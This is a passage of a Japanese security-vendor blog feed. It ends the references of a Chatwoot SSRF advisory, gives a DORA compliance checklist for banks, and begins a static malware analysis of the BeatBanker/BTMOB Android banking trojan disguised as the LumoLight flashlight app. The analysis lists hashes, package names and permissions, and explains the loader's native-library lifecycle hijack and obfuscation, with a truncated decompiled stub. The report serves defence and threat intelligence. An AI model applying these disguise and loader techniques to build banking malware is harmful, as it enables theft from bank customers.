&lt;h2 id="参考資料"&gt;参考資料&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;リソース&lt;/th&gt;
&lt;th style="text-align: left;"&gt;リンク&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;正式なアドバイザリ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://github.com/chatwoot/chatwoot/security/advisories/GHSA-6fj9-gj7h-q2hf"&gt;GHSA-6fj9-gj7h-q2hf&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;CWE-918：サーバーサイドリクエストフォージェリ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://cwe.mitre.org/data/definitions/918.html"&gt;https://cwe.mitre.org/data/definitions/918.html&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;OWASP SSRF Prevention Cheat Sheet&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html"&gt;https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;AWS IMDSv1 Exploitation&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html"&gt;https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;Chatwoot Security Reporting Guidelines&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;a href="https://developers.chatwoot.com/contributing-guide/security-reports"&gt;https://developers.chatwoot.com/contributing-guide/security-reports&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;</content><category term="Security"/><category term="Security"/><category term="SSRF"/><category term="Vulnerability"/><category term="AWS"/><category term="cve-news"/></entry><entry><title>銀行・フィンテック向けDORAコンプライアンスチェックリスト：監査に対応できるオペレーショナル・レジリエンスの検証</title><link href="https://blog.ostorlab.co/ja/DORA-compliance-checklist.html" rel="alternate"/><published>2026-04-29T09:23:00+02:00</published><updated>2026-04-29T09:23:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-04-29:/ja/DORA-compliance-checklist.html</id><summary type="html">&lt;p&gt;DORAコンプライアンスチェックリストは、銀行・フィンテック組織がICTリスク、インシデント対応、レジリエンステスト、サードパーティのガバナンス、監督といった主要領域にわたってオペレーショナル・レジリエンスを評価し、実装の進捗を追跡して監査への対応準備を支えるのに役立ちます。&lt;/p&gt;</summary><content type="html">&lt;p&gt;デジタル・オペレーショナル・レジリエンス法（DORA）は、銀行、フィンテック企業、決済事業者、そしてより広く金融機関が、サイバーセキュリティ、業務の継続性、規制上の説明責任にどのように取り組むかを根本から変えつつあります。&lt;/p&gt;
&lt;p&gt;BFSI組織にとって、DORAは単なるコンプライアンス義務の一つではありません。DORAはレジリエンスを最優先とする規制モデルを導入し、金融機関に対して、デジタルシステム、サードパーティへの依存関係、モバイルアプリケーション、API、社内のセキュリティ制御が業務の中断に耐えられることを継続的に検証するよう求めています。&lt;/p&gt;
&lt;p&gt;つまり、コンプライアンスはもはや理論上のものではありません。金融機関は、技術的なエビデンス、文書化された制御、測定可能なガバナンスによってレジリエンスを実証しなければなりません。
銀行・フィンテックのセキュリティチームにとって、広範な規制要件を具体的な運用上のアクションに落とし込むには、実践的なDORAコンプライアンスチェックリストが不可欠になります。&lt;/p&gt;
&lt;h2 id="銀行・フィンテックのチームに構造化されたdoraチェックリストが必要な理由"&gt;銀行・フィンテックのチームに構造化されたDORAチェックリストが必要な理由&lt;/h2&gt;
&lt;p&gt;現代の金融エコシステムは、モバイルバンキングアプリケーション、決済API、認証システム、クラウド環境、組み込みSDK、外部のフィンテック事業者、SaaSベンダー、規制報告プラットフォームなど、高度に相互接続されたデジタルインフラに依存しています。&lt;/p&gt;
&lt;p&gt;この複雑さは、社内とサードパーティの両方に複数の攻撃ベクトルを生み出します。DORAは、ICTリスク管理、インシデント管理と報告、デジタル・オペレーショナル・レジリエンステスト、サードパーティリスク管理、情報共有、ガバナンスと監督という6つの重要な柱にわたって、オペレーショナル・レジリエンスを評価・強化するよう組織に求めることで、この問題に直接対処しています。&lt;/p&gt;
&lt;p&gt;構造化されたチェックリストは、金融機関が実装のベースラインを確立し、セキュリティ上のギャップを特定し、エビデンスの収集を標準化し、監査への対応準備を改善し、修復を優先順位付けし、経営層による監督を強化するのに役立ちます。&lt;/p&gt;
&lt;h2 id="doraコンプライアンスチェックリスト"&gt;DORAコンプライアンスチェックリスト&lt;/h2&gt;
&lt;p&gt;このチェックリストは、金融機関がDORAの6つの主要な柱にわたって準備状況を評価するのに役立ちます。各制御領域について、チームは現在の実装状況を評価し、裏付けとなるエビデンスを文書化し、修復の優先事項を特定すべきです。&lt;/p&gt;
&lt;p&gt;ステータスは、&lt;strong&gt;未着手、進行中、実装済み、要レビュー&lt;/strong&gt;という4つのシンプルな準備レベルで追跡できます。&lt;/p&gt;
&lt;h3 id="1. ictリスク管理"&gt;1. ICTリスク管理&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;目的&lt;/strong&gt;：すべてのデジタル資産の可視性、制御、保護を確保する。&lt;/p&gt;
&lt;ol style="list-style-position: inside; padding-left: 0;"&gt;
&lt;li&gt;重要度とビジネスへの影響に基づいてアセットを分類する&lt;/li&gt;
&lt;li&gt;ICTリスク管理フレームワークを定義し、文書化する&lt;/li&gt;
&lt;li&gt;アクセス制御ポリシー（RBAC、最小権限）を実装する&lt;/li&gt;
&lt;li&gt;保存時および転送時のデータに暗号化を適用する&lt;/li&gt;
&lt;li&gt;集中的なログ記録とモニタリングを有効にする&lt;/li&gt;
&lt;li&gt;セキュアな開発プラクティス（コードレビュー、依存関係のチェック）を確立する&lt;/li&gt;
&lt;li&gt;定期的にバックアップを取得し、復旧手順をテストする&lt;/li&gt;
&lt;li&gt;リスクアペタイトと許容閾値を定義する&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;エビデンス&lt;/strong&gt;：アセットインベントリ、セキュリティポリシー、アーキテクチャ図、ログ&lt;/p&gt;
&lt;h3 id="2. インシデント管理と報告"&gt;2. インシデント管理と報告&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;目的&lt;/strong&gt;：インシデントを効果的に検知し、対応し、報告する。&lt;/p&gt;
&lt;ol style="list-style-position: inside; padding-left: 0;"&gt;
&lt;li&gt;何がICTインシデントに該当するかを定義する&lt;/li&gt;
&lt;li&gt;リアルタイムの検知の仕組み（アラート、モニタリングツール）を実装する&lt;/li&gt;
&lt;li&gt;文書化されたインシデント対応計画（IRP）を維持する&lt;/li&gt;
&lt;li&gt;インシデント対応における役割と責任を割り当てる&lt;/li&gt;
&lt;li&gt;インシデントを重大度レベル別に分類する&lt;/li&gt;
&lt;li&gt;インシデントログと監査証跡を維持する&lt;/li&gt;
&lt;li&gt;インシデント後に根本原因分析（RCA）を実施する&lt;/li&gt;
&lt;li&gt;規制上の報告期限の遵守を確実にする&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;エビデンス&lt;/strong&gt;：インシデントログ、IRPの文書、事後分析レポート&lt;/p&gt;
&lt;h3 id="3. デジタル・オペレーショナル・レジリエンステスト"&gt;3. デジタル・オペレーショナル・レジリエンステスト&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;目的&lt;/strong&gt;：継続的なテストを通じてセキュリティ制御を検証する。&lt;/p&gt;
&lt;ol style="list-style-position: inside; padding-left: 0;"&gt;
&lt;li&gt;定期的な脆弱性評価を実施する&lt;/li&gt;
&lt;li&gt;ペネトレーションテスト（内部および外部）を実施する&lt;/li&gt;
&lt;li&gt;重要なシステムに対して脅威ベースのペネトレーションテスト（TLPT）を実施する&lt;/li&gt;
&lt;li&gt;モバイルアプリケーション、API、バックエンドシステムをテストする&lt;/li&gt;
&lt;li&gt;検出結果を技術的なエビデンスで検証する（理論上の評価だけにとどめない）&lt;/li&gt;
&lt;li&gt;修復の進捗を追跡し、修正を再テストする&lt;/li&gt;
&lt;li&gt;すべてのテスト活動の文書を維持する&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;エビデンス&lt;/strong&gt;：スキャンレポート、ペンテストレポート、修復の追跡記録&lt;/p&gt;
&lt;h3 id="4. サードパーティリスク管理"&gt;4. サードパーティリスク管理&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;目的&lt;/strong&gt;：外部事業者によってもたらされるリスクを管理する。&lt;/p&gt;
&lt;ol style="list-style-position: inside; padding-left: 0;"&gt;
&lt;li&gt;すべてのICTサードパーティ事業者の登録簿を維持する&lt;/li&gt;
&lt;li&gt;リスクと重要度に基づいてベンダーを分類する&lt;/li&gt;
&lt;li&gt;ベンダーの受け入れ前にデューデリジェンスを実施する&lt;/li&gt;
&lt;li&gt;契約にセキュリティ条項と監査条項を盛り込む&lt;/li&gt;
&lt;li&gt;ベンダーのパフォーマンスとセキュリティ態勢を継続的にモニタリングする&lt;/li&gt;
&lt;li&gt;緊急時対応戦略と撤退戦略を定義する&lt;/li&gt;
&lt;li&gt;事業者間の集中リスクを評価する&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;エビデンス&lt;/strong&gt;：ベンダー登録簿、契約書、リスク評価&lt;/p&gt;
&lt;h3 id="5. 情報共有"&gt;5. 情報共有&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;目的&lt;/strong&gt;：連携とインテリジェンスを通じてレジリエンスを強化する。&lt;/p&gt;
&lt;ol style="list-style-position: inside; padding-left: 0;"&gt;
&lt;li&gt;脅威インテリジェンスの共有イニシアチブに参加する&lt;/li&gt;
&lt;li&gt;該当する場合は侵害の痕跡（IOC）を共有する&lt;/li&gt;
&lt;li&gt;外部の脅威インテリジェンスフィードを統合する&lt;/li&gt;
&lt;li&gt;機密保持とデータ保護の要件の遵守を確実にする&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;エビデンス&lt;/strong&gt;：脅威インテリジェンスのサブスクリプション、共有ポリシー&lt;/p&gt;
&lt;h3 id="6. ガバナンスと監督"&gt;6. ガバナンスと監督&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;目的&lt;/strong&gt;：説明責任と戦略的な整合性を確保する。&lt;/p&gt;
&lt;ol style="list-style-position: inside; padding-left: 0;"&gt;
&lt;li&gt;ICTリスクに対する取締役会レベルの監督体制を確立する&lt;/li&gt;
&lt;li&gt;経営層に定期的に報告する&lt;/li&gt;
&lt;li&gt;最新のポリシーと手順を維持する&lt;/li&gt;
&lt;li&gt;従業員向けのセキュリティ意識向上トレーニングを実施する&lt;/li&gt;
&lt;li&gt;内部監査とコンプライアンスレビューを実施する&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;エビデンス&lt;/strong&gt;：取締役会への報告書、トレーニング記録、監査結果&lt;/p&gt;
&lt;h2 id="ostorlabが銀行・フィンテックのdora対応をどのように強化するか"&gt;Ostorlabが銀行・フィンテックのDORA対応をどのように強化するか&lt;/h2&gt;
&lt;p&gt;顧客の金融データを保護するには、定期的なコンプライアンスレビュー以上のものが必要です。Ostorlabは、継続的でエビデンス主導のセキュリティ検証を通じて、BFSI組織がDORAへの対応を実運用に落とし込めるよう支援します。&lt;/p&gt;
&lt;h3 id="自律的な脆弱性の発見"&gt;自律的な脆弱性の発見&lt;/h3&gt;
&lt;p&gt;特定時点の評価に頼るべきではありません。Ostorlabは、モバイルバンキングアプリ、Webプラットフォーム、API、認証システム、バックエンドサービスを継続的にスキャンし、決済フロー、顧客アカウント、機密性の高い金融データ、重要な業務を危険にさらしうるセキュリティ上の欠陥を特定します。&lt;/p&gt;
&lt;h3 id="自動化されたリスク評価"&gt;自動化されたリスク評価&lt;/h3&gt;
&lt;p&gt;すべての脆弱性は、業務への影響によって優先順位付けされなければなりません。Ostorlabは、技術的なリスク分析、優先順位付け、修復計画、監査に対応できるレポーティングを自動化し、トリアージの質を高めながらチームのDORA対応を加速させます。&lt;/p&gt;
&lt;h3 id="サードパーティによるデータ漏えいの検出"&gt;サードパーティによるデータ漏えいの検出&lt;/h3&gt;
&lt;p&gt;外部連携は、アタックサーフェスを気づかないうちに拡大させる可能性があります。Ostorlabは、SDKの挙動、サードパーティAPIのデータフロー、不正なデータ送信、サプライチェーンのセキュリティ上のギャップのモニタリングを支援し、DORAにおけるサードパーティのガバナンス義務の履行を支えます。&lt;/p&gt;
&lt;h3 id="規制フレームワークへのコンプライアンスマッピング"&gt;規制フレームワークへのコンプライアンスマッピング&lt;/h3&gt;
&lt;p&gt;Ostorlabは、DORA、PCI DSS、GDPR、NIS2、FFIEC、その他の規制フレームワークにわたって、エビデンス主導のコンプライアンス整合を支援します。これにより、セキュリティチームはレジリエンスの成熟度を高めながら、重複するコンプライアンス作業を削減できます。&lt;/p&gt;
&lt;h2 id="コンプライアンスからオペレーショナル・レジリエンスへ"&gt;コンプライアンスからオペレーショナル・レジリエンスへ&lt;/h2&gt;
&lt;p&gt;DORAへの対応は、ポリシーだけでは達成できません。金融機関は、セキュリティ制御、ベンダーのガバナンス、テストの成熟度、検知能力、経営層による監督を継続的に検証しなければなりません。
実践的なDORAコンプライアンスチェックリストは、規制要件を測定可能な実装へと変えます。Ostorlabによる継続的な技術的検証と組み合わせることで、組織は監査への対応準備を改善し、オペレーショナルリスクを低減し、顧客の信頼を強化し、取締役会レベルの説明責任を支え、デジタル金融エコシステムを保護できます。&lt;/p&gt;
&lt;h2 id="インタラクティブなdoraチェックリストをダウンロード"&gt;インタラクティブなDORAチェックリストをダウンロード&lt;/h2&gt;
&lt;p&gt;DORAの主要なレジリエンスの柱にわたって、準備状況を評価し、実装状況を追跡し、監査に対応できるエビデンスを添付できます。
&lt;a href="https://ostorlab.co/resources/DORA_Checklist.pdf"&gt;チェックリストをダウンロード&lt;/a&gt;&lt;/p&gt;</content><category term="Security"/><category term="Mobile"/><category term="Banking"/><category term="Security"/><category term="Compliance"/></entry><entry><title>BeatBanker/BTMOB Androidバンキングマルウェアの解析</title><link href="https://blog.ostorlab.co/ja/beatbanker-btmob-tv-v-23-static-analysis.html" rel="alternate"/><published>2026-04-28T14:00:00+02:00</published><updated>2026-04-28T14:00:00+02:00</updated><author><name>Aziz ELBELAYCHY</name></author><id>tag:blog.ostorlab.co,2026-04-28:/ja/beatbanker-btmob-tv-v-23-static-analysis.html</id><summary type="html">&lt;p&gt;懐中電灯アプリを装ったBeatBanker/BTMOB系Androidバンキングマルウェア、TV_V_23.apkの静的解析です。4段階の攻撃チェーン、解析妨害、帰属、IOCを解説します。&lt;/p&gt;</summary><content type="html">&lt;h2 id="背景"&gt;背景&lt;/h2&gt;
&lt;p&gt;2026年3月、当社の銀行顧客の一社から、モバイルアプリを利用する同行の顧客数名がAndroidマルウェアのサンプルによって侵害されたという報告を受けて、当社に連絡がありました。被害者が説明した挙動は、認証情報の窃取と、被害者自身の端末から発生した不正な取引の試みと一致しており、同行のモバイルアプリケーションが攻撃の焦点になっているように見えました。顧客は、&lt;strong&gt;LumoLight&lt;/strong&gt;という懐中電灯ユーティリティとして被害者に配布されていた不審なAPKのコピーを当社に提供し、このマルウェアが何をするのか、どのような能力を持つのか、そしてどのように防御すべきかを明らかにするよう依頼しました。&lt;/p&gt;
&lt;p&gt;本記事はその解析を記録したものです。当社の目的は、サンプルの能力の全体像を明らかにし、可能であれば既知の脅威アクターに帰属させることで、顧客の防御チーム、不正監視チーム、顧客向け注意喚起チームが正確な情報に基づいて対応できるようにすることでした。作業は純粋な静的解析として実施しました。APKと段階的に展開されるペイロードは、実行することなく展開、復号、リバースエンジニアリングしました。この手法は意図的に選んだものです。オペレーターに気づかれる可能性のある稼働中のC2との通信のリスクを避けられる一方で、判明させられることとできないことに一定の限界も生じます。この点は本レポートの後半で明示します。&lt;/p&gt;
&lt;h2 id="エグゼクティブサマリー"&gt;エグゼクティブサマリー&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;TV_V_23.apk&lt;/strong&gt;は、LumoLightという偽の懐中電灯アプリとして配布される、多段階のAndroidバンキングマルウェアプラットフォームです。無害なユーティリティの外見の裏で4段階のローダーチェーンを展開し、最終的には本格的なリモートアクセスツール（RAT）、隠れた暗号資産マイナー、稼働中のフィッシング配信エンジンをインストールします。これらはすべて、端末の脆弱性を一切悪用せずに行われます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主な検出結果：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;能力&lt;/strong&gt;：最終段階のペイロードにより、リモートのオペレーターは感染端末を完全に可視化し、制御できます。具体的には、画面のライブキャプチャ、あらゆるアプリ内（バンキングアプリを含む）でのリアルタイムのUI操作、SMS/OTPの傍受、フィッシングオーバーレイの配信、ファイルの持ち出しが可能です。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;標的設定はハードコードではなく実行時に設定可能&lt;/strong&gt;：サンプルの静的解析により、APKには特定の銀行が埋め込まれていないことを確認しました。標的とする金融機関はオペレーターのコマンド&amp;amp;コントロール（C2）サーバーからいつでも送り込まれます。つまり、メッセージ1通で感染端末群全体にわたって&lt;em&gt;あらゆる&lt;/em&gt;銀行を標的にできます。オペレーター側のC2インターフェースを示す一般公開された概念実証（PoC）動画が、独立した裏付けとなっています。この動画には、主要なモバイルバンキングアプリケーションのパッケージ名が登録された稼働中の標的リストが映っており、銀行を標的とする機能が理論上の能力ではなく、実環境で稼働しているこのプラットフォームの機能であることを裏付けています。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;並行した収益化&lt;/strong&gt;：別のヘルパー段階が暗号資産マイナーをインストールし、バンキングの認証情報が取得できたかどうかにかかわらず、脅威アクターに収益をもたらします。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;帰属&lt;/strong&gt;：インフラと振る舞いの指標から、このサンプルは公に報告されている&lt;strong&gt;BeatBanker / BTMOB&lt;/strong&gt;キャンペーンクラスターに属すると高い確度で判断できます。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;顧客にとっての結論&lt;/strong&gt;：TV_V_23.apkがインストールされ実行されたすべての端末は、完全に侵害されたものとして扱う必要があります。下流のペイロードは元のローダーとは独立してインストールされ永続化するため、部分的な削除では信頼できません。また、標的設定はマルウェアに組み込まれているのではなくオペレーターが制御しているため、このサンプルに銀行固有のコンテンツが含まれていないからといって、顧客への脅威が収まったことを意味するわけでは&lt;em&gt;ありません&lt;/em&gt;。同じインフラがいつでも標的を変更できます。&lt;/p&gt;
&lt;h2 id="サンプルの特定"&gt;サンプルの特定&lt;/h2&gt;
&lt;p&gt;本レポートで解析したサンプルは、単一のAndroidアプリケーションパッケージです。その識別用メタデータを以下にまとめます。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;項目&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;値&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;ファイル名&lt;/td&gt;
&lt;td&gt;TV_V_23.apk&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;表示上のパッケージ&lt;/td&gt;
&lt;td&gt;com.bitmavrick.lumolight&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SHA-256&lt;/td&gt;
&lt;td&gt;5686a80c1e66c468cbc36fab816f8fa2a28538beddcc1f9846a1c1d6aaa2855c&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MD5&lt;/td&gt;
&lt;td&gt;6160d680280c07af0cbee782f423be2f&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;表示上のブランド&lt;/td&gt;
&lt;td&gt;LumoLight（懐中電灯／クイック設定ユーティリティ）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;実際の目的&lt;/td&gt;
&lt;td&gt;多段階のAndroidローダー、RAT、マイナーのドロッパー&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;関連キャンペーン&lt;/td&gt;
&lt;td&gt;BeatBanker / BTMOB（高い確度）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;サンプルの配布方法&lt;/strong&gt;：APKはソーシャルエンジニアリングを通じて被害者に届きました。具体的な配布経路は本レポートの対象外です。直接関係するのは偽装の選び方です。懐中電灯やクイック設定のユーティリティは警戒されにくいアプリケーションのカテゴリで、ユーザーが権限をよく確認せずにサイドロードすることが多いため、悪意のあるローダーの外側の包装として理想的でした。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;初期トリアージで見つかった危険信号&lt;/strong&gt;：本格的なリバースエンジニアリングに入る前の段階で、表面的な3つの観察結果だけで、このサンプルに完全な解析が必要であることを確認できました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;トロイの木馬化されたオープンソースアプリケーション&lt;/strong&gt;：com.bitmavrick.lumolightパッケージは、公開されている懐中電灯プロジェクト&lt;a href="https://github.com/BitMavrick/Lumolight"&gt;BitMavrick/Lumolight&lt;/a&gt;をトロイの木馬化したフォークです。上流リポジトリのURLは、外側のAPK自体に今も埋め込まれています。攻撃者は偽のアプリケーションをゼロから作ったのではありません。動作する正規のコードベースを取得し、そのブランドと懐中電灯の機能を維持したまま、悪意のあるApplicationサブクラス、ネイティブローダー、ネイティブのみのアクティビティをその上に注入しました。インストールされたアプリは実際に懐中電灯として動作する（元の明るさ／フラッシュのUIとクイック設定タイルサービスはどちらも残っており機能する）ため、被害者が自然に行う確認、つまり「このアプリは説明どおりに動くか」に対する答えは安心できる「はい」となり、疑いはそこで止まります。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;懐中電灯と整合しない権限セット&lt;/strong&gt;：マニフェストはREQUEST_INSTALL_PACKAGES、QUERY_ALL_PACKAGES、RECEIVE_BOOT_COMPLETEDを要求し、Firebase Cloud Messagingのコンポーネントを宣言しています。懐中電灯ユーティリティには、他のアプリケーションをインストールしたり、端末上のすべてのアプリを列挙したり、再起動後も動作し続けたり、プッシュ通知チャネルを維持したりする正当な理由はありません。どれか一つだけでも注目に値しますが、これらが揃っていることはユーティリティではなくローダーであることを示す決定的な特徴です。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;不審なassetsディレクトリの内容&lt;/strong&gt;：assets/ディレクトリには、難読化されたファイル名を持つ高エントロピーのバイナリブロブが含まれていました。これは通常のアプリケーションリソース（画像、フォント、ローカライズ）ではなく、暗号化されたペイロードの段階的展開に関連する構造です。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これら3つの観察結果を総合すると、解析の問いは&lt;em&gt;「これは悪意のあるものか」&lt;/em&gt;から&lt;em&gt;「どのような種類の悪意で、どの程度の規模か」&lt;/em&gt;へと移りました。本レポートの残りの部分はその問いに答えるものです。&lt;/p&gt;
&lt;h2 id="stage 1:被害者との最初の接触:おとりアプリとネイティブブートストラップ"&gt;Stage 1：被害者との最初の接触：おとりアプリとネイティブブートストラップ&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;トロイの木馬化されたオープンソースのホストアプリケーション&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;外側のAPKは、公開されている懐中電灯プロジェクト&lt;a href="https://github.com/BitMavrick/Lumolight"&gt;BitMavrick/Lumolight&lt;/a&gt;を基に構築されています。正規のコードベースは無傷で機能しており、FlashTileActivity、LumolightTileService、ランチャーのMainActivityは設計どおりに動作します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="被害者に見えるLumoLightのUI。同じプロセス内で動作するマルウェアを隠す、機能する懐中電灯アプリケーション。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-28_ebl_malware_analysis_article/lumolight_app.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図1：被害者に見えるLumoLightのUI。同じプロセス内で動作するマルウェアを隠す、機能する懐中電灯アプリケーション。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;攻撃者は、その上に4つの悪意のあるコンポーネントを注入しました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;com.bitmavrick.lumolight.LumolightApp：プロセスの初期化中に悪意のあるブートストラップを呼び出す、注入されたApplicationサブクラス&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;com.bitmavrick.lumolight.IonisedConvincing：libmetaspermousdevitrifiednoiseful.soのネイティブライブラリローダー&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;com.bitmavrick.lumolight.UnablyBrattain：ネイティブのみのアクティビティ&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ランチャーのMainActivityへの改変。通常のアプリUIが初期化された直後にstartActivity(new Intent(this, UnablyBrattain.class))を呼び出し、ユーザーに見える懐中電灯の体験を妨げることなく、悪意のあるネイティブのみのアクティビティに制御を渡します。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;AndroidManifest.xmlには、悪意のある権限と、隠されたcom.yqzg.parrnellのマニフェストコンポーネントが追加されていました。アプリは実際に懐中電灯として動作するため、被害者が自然に行う確認には安心できる「はい」が返ってきます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ネイティブライブラリによるアプリケーションライフサイクルの乗っ取り&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;com.bitmavrick.lumolight.LumolightAppのattachBaseContextメソッドとonCreateメソッドは、UIが描画される前に呼び出される最も早いライフサイクルのエントリポイントであり、nativeとして宣言され、libmetaspermousdevitrifiednoiseful.soによって実装されています。Androidは制御をJavaではなくネイティブ実装に渡します。難読化されたライブラリ名自体もささやかな解析妨害のシグナルであり、既知の悪意のあるライブラリ名とのキーワード照合を避けるために選ばれています。&lt;/p&gt;
&lt;p&gt;同じパターンはStage 3でも再び現れます。ヘルパーAPK（com.sywo.chelingas、Stage 3）はまったく同じネイティブへの引き渡しパターンを使用していますが、維持すべき正規のコードがないため、そのApplicationサブクラスにはSystem.loadLibraryの呼び出しと2つのnativeメソッド宣言しか含まれていません。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// APK: com.sywo.chelingas (Stage 3 helper)&lt;/span&gt;
&lt;span class="c1"&gt;// JADX source: sources/pjOZQC/c6xmV4.java&lt;/span&gt;
&lt;span class="c1"&gt;//&lt;/span&gt;
&lt;span class="c1"&gt;// Shown here as evidence that Stage 1's native-handoff architecture&lt;/span&gt;
&lt;span class="c1"&gt;// is a deliberate, reused pattern across the malware's stages &amp;mdash; not a&lt;/span&gt;
&lt;span class="c1"&gt;// one-off. The helper's Application class contains no Java logic;&lt;/span&gt;
&lt;span class="c1"&gt;// both lifecycle methods are declared 'native' and implemented&lt;/span&gt;
&lt;span class="c1"&gt;// entirely inside liblixhokfsmav.so, invisible to JADX.&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;c6xmV4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Application&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eeHugaithaikuu9u&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
